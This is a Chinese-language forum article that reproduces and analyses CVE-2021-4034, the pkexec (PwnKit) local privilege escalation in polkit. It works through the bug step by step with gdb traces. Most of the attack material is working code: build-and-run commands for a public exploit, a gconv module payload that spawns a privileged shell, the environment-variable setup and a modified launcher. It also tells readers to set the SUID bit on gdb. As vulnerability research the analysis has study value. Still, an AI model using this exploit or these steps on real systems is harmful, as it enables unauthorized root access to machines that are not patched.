其他
CVE-2021-4034 pkexec本地提权漏洞复现与原理分析
本文为看雪论坛优秀文章
看雪论坛作者ID:Jtian
一
前言
而如此重大的漏洞,起因却仅仅是因为一个名为pkexec的程序对参数个数的判断存在疏忽,造成了一个数组溢出。
二
感性的认识——漏洞复现
git clone https://github.com/berdav/CVE-2021-4034.git
cd CVE-2021-4034
make
./cve-2021-4034
三
漏洞分析基础环境
polkit源码版本:polkit-0.105
gdb配置:
① 设置反汇编风格为intel风格(个人喜好)
② 关闭pwndbg等配置,避免调试时过多的信息造成干扰
③ 设置gdb的SUID位,避免调试pkexec时执行到geteuid函数失败,报错“pkexec must be setuid root”
chmod 4755 /usr/bin/gdb
https://github.com/berdav/CVE-2021-4034.git
四
前置知识
argc何时为0
#include<stdio.h>
int main(int argc, char** argv)
{
printf("argc: %d\n", argc);
for(int i; i<argc; i++) {
printf("%s\n", argv[i]);
}
return 0;
}
execve函数声明
#include <unistd.h>
int execve(const char *pathname, char *const argv[], char *const envp[]);
#include <unistd.h>
int main(int argc, char **argv)
{
return execve("./test", NULL, NULL);
}
argv与envp在内存里的布局是连续的
#include <unistd.h>
int main()
{
char* const argv[] = {
"AAAA1111",
"BBBB2222",
"CCCC3333",
NULL
};
char* const envp[] = {
"DDDD3333",
"EEEE4444",
"FFFF5555",
NULL
};
return execve("./test", argv, envp);
}
#include<stdio.h>
int main(int argc, char** argv)
{
printf("argc: %d\n", argc);
for(int i; i<8; i++) {
if(argv[i]!=NULL) {
printf("argv[%d]: %s\n", i, argv[i]);
} else {
printf("argv[%d]: NULL\n", i);
}
}
return 0;
}
通过实验,表明argv与envp在内存布局上是连续的,envp紧跟argv之后。
利用g_printerr 执行命令
int main()
{
g_printerr("Hello world.\n");
return 0;
}
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {
}
void gconv_init(void *step)
{
char * const args[] = { "/bin/sh", "-pi", NULL };
char * const environ[] = { "PATH=/bin:/usr/bin", NULL };
execve(args[0], args, environ);
exit(0);
}
all:
echo "module UTF-8// AAAA// pwnkit 1" > gconv-modules
gcc --shared -fPIC -o pwnkit.so pwnkit.c
gcc -o test main.c -lglib-2.0
#!/bin/bash
export CHARSET=AAAA
export GCONV_PATH=.
./test
SUID权限
pkexec的所有者为root,具有SUID权限,当普通用户kali执行“pkexec bash”命令时会被要求授权。获得授权后,得到了root权限。
执行具有SUID权限的程序时,不安全的环境变量不会被引入
main.c
int main()
{
system("env");
return 0;
}
gcc -g -O0 -o test main.c
chmod 4755 ./test
设置环境变量,并通过test程序打印出来,用以判断环境变量的导入情况。
#!/bin/bash
export GCONV_PATH=AAAA0001
export GETCONF_DIR=AAAA0002
export HOSTALIASES=AAAA0003
export LD_AUDIT=AAAA0004
export LD_DEBUG=AAAA0005
export LD_DEBUG_OUTPUT=AAAA0006
export LD_DYNAMIC_WEAK=AAAA0007
export LD_HWCAP_MASK=AAAA0008
export LD_LIBRARY_PATH=AAAA0009
export LD_ORIGIN_PATH=AAAA0010
export LD_PRELOAD=AAAA0011
export LD_PROFILE=AAAA0012
export LD_SHOW_AUXV=AAAA0013
export LD_USE_LOAD_BIAS=AAAA0014
export LOCALDOMAIN=AAAA0015
export LOCPATH=AAAA0016
export MALLOC_TRACE=AAAA0017
export NIS_PATH=AAAA0018
export NLSPATH=AAAA0019
export RESOLV_HOST_CONF=AAAA0020
export RES_OPTIONS=AAAA0021
export TMPDIR=AAAA0022
export TZDIR=AAAA0023
export PATH=AAAA1001:/usr/bin
export SHELL=AAAA1002
export CHARSET=AAAA1003
export BBBB=AAAA1004
./test
通过实验可以知道,当以kali用户身份去执行所有者为root且具有SUID权限的程序时,GCONV_PATH、LD_PRELOAD 等不安全的环境变量并不会被引入。
五
利用原理分析
构建pkexec源码调试环境
下载源码polkit-0.105
安装编译环境
apt install automake
apt install autopoint
apt install libtool
apt install gtk-doc-tools
apt install libpam0g-dev
apt install intltool
编译
./configure (要把-O2换成 -O0,关闭优化,方便调试)
make
设置SUID权限
cd src/programs/.libs
chmod 4755 pkexec
修改利用脚本berdav/CVE-2021-4034
#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = {
NULL
};
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("../polkit-0.105/src/programs/.libs/pkexec", args, environ);
}
gdb调试
pkexec的授权认证是如何被绕过的
gdb源码追踪脚本
import sys
import gdb
import os
import re
def in_frames(needle):
""" Check if the passed frame is still on the current stack """
hay = gdb.newest_frame()
while hay:
if hay == needle:
return True
hay = hay.older()
return False
# Use this to reduce any kind of unwanted noise
def filter_step(output):
output = re.sub(r'^.*No such file or directory\.\n', r'', output, flags=re.M)
output = re.sub(r'^\d+\s+in\s+.*\n', r'', output, flags=re.M)
return output
def step_trace(filename=None, step="step"):
counter = 0
if filename:
output = ""
frame = gdb.newest_frame()
print("Stepping until end of {} @ {}:{}".format(frame.name(), frame.function().symtab, frame.function().line))
while in_frames(frame):
counter += 1
if filename:
output += filter_step(gdb.execute(step, to_string=True))
else:
gdb.execute(step)
if filename:
with open(filename, "w") as file:
file.write(output)
print("Done stepping through {} lines.".format(counter))
(gdb) source step_trace.py
(gdb) python step_trace(step="next")
调试"./pkexec bash"
set follow-fork-mode parent
b main
b /home/kali/software/relase/polkit-0.105/src/programs/pkexec.c:900
r bash
source step_trace.py
python step_trace(step="next")
调试"./cve-2021-4034"
b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:900
set follow-fork-mode parent
source /home/kali/software/release/polkit-0.105/src/programs/.libs/step_trace.py
python step_trace(step="next")
代码流日志比对
通过比对代码流日志,可以清晰的看到"./cve-2021-4034"对argc的处理和validate_environment_variable的行为上存在异常,发现这两点异常将十分有助于我们理解漏洞利用过程。"./cve-2021-4034"的代码流程非常的短,其在调用环境变量校验函数validate_environment_variable的时候就获得了shell,这也就解释了为何会绕过授权认证,因为根本就没走到那。
如何获取shell权限的
深入调试"./cve-2021-4034"
b main
r
c
b /home/kali/software/release/polkit-0.105/src/programs/pkexec.c:593
set follow-fork-mode parent
gdb ./cve-2021-4034 -x bp
由图可知,参数数组与环境变量数组在内存布局上是连续的,本例中,argv[1]即是environ[0]。
s被赋值为"GCONV_PATH=./pwnkit.so:.",在pkexec程序看来,这只是一个普通的文件路径,而这是攻击者特意构造的,是为了引入不安全的环境变量GCONV_PATH。
利用越界写漏洞,成功引入不安全的环境变量GCONV_PATH。
构造报错,调用g_printerr,得到shell。
Breakpoint 1, main (argc=0, argv=0x7ffe2d2d4e58) at pkexec.c:406
406 const gchar *environment_variables_to_save[] = {
Breakpoint 2 at 0x55d64339bed6: file pkexec.c, line 900.
Stepping until end of main @ pkexec.c:386
442 ret = 127;
443 authority = NULL;
444 subject = NULL;
445 details = NULL;
446 result = NULL;
447 action_id = NULL;
448 saved_env = NULL;
449 path = NULL;
450 command_line = NULL;
451 opt_user = NULL;
452 local_agent_handle = NULL;
455 if (geteuid () != 0)
461 original_user_name = g_strdup (g_get_user_name ());
462 if (original_user_name == NULL)
468 if (getcwd (original_cwd, sizeof (original_cwd)) == NULL)
478 opt_show_help = FALSE;
479 opt_show_version = FALSE;
480 opt_disable_internal_agent = FALSE;
481 for (n = 1; n < (guint) argc; n++) //n被赋值为1
512 if (opt_show_help)
518 else if (opt_show_version)
525 if (opt_user == NULL)
--Type <RET> for more, q to quit, c to continue without paging--
526 opt_user = g_strdup ("root");
536 g_assert (argv[argc] == NULL);
537 path = g_strdup (argv[n]); //越界读,path被赋值为 argv[1],即 environ[0],"pwnkit.so:."
538 if (path == NULL)
543 if (path[0] != '/')
546 s = g_find_program_in_path (path); //在环境变量PATH中寻找"pwnkit.so:.",并把路径返回给 s。利用脚本中把PATH设置为"GCONV_PATH=.",且在磁盘上提前生成了名为"GCONV_PATH=."的文件夹,并放置了名为"pwnkit.so:."的程序,因此,s被赋值 "GCONV_PATH=./pwnkit.so:."。
547 if (s == NULL)
552 g_free (path);
553 argv[n] = path = s; //越界写,argv[1]被设置为"GCONV_PATH=./pwnkit.so:.",即environ[0] 被修改,重新引入了不安全的环境变量GCONV_PATH,至此完成了至关重要的一步。接下来只要随便构造个错误,使其报错时调用到 g_printerr 即可。
555 if (access (path, F_OK) != 0)
560 command_line = g_strjoinv (" ", argv + n);
561 exec_argv = argv + n;
566 rc = getpwnam_r (opt_user, &pwstruct, pwbuf, sizeof pwbuf, &pw);
567 if (rc == 0 && pw == NULL)
572 else if (pw == NULL)
579 saved_env = g_ptr_array_new ();
580 for (n = 0; environment_variables_to_save[n] != NULL; n++)
582 const gchar *key = environment_variables_to_save[n];
585 value = g_getenv (key);
586 if (value == NULL)
593 if (!validate_environment_variable (key, value)) //key="SHELL", value="/lol/i/do/not/exists",在校验环境变量时报错"The value for the SHELL variable was not found the /etc/shells file",进而调用了 g_printerr ,触发漏洞利用,最终执行pwnkit.so里的execve("/bin/sh", args, environ)得到shell。
process 11852 is executing new program: /usr/bin/dash
Error in re-setting breakpoint 1: Function "main" not defined.
Error in re-setting breakpoint 2: No source file named /home/kali/software/release/polkit-0.105/src/programs/pkexec.c.
#
六
总结
参考:
https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.tx
https://duo.com/decipher/serious-privilege-escalation-flaw-in-linux-component-patched
https://blog.qualys.com/vulnerabilities-threat-research/2022/01/25/pwnkit-local-privilege-escalation-vulnerability-discovered-in-polkits-pkexec-cve-2021-4034
https://stackoverflow.com/questions/39602306/tracing-program-function-execution-on-source-line-level
https://www.xiebruce.top/1387.html
https://bbs.pediy.com/thread-271345.htm
看雪ID:Jtian
https://bbs.pediy.com/user-home-598931.htm
# 往期推荐
3.什么是runC?
球分享
球点赞
球在看
点击“阅读原文”,了解更多!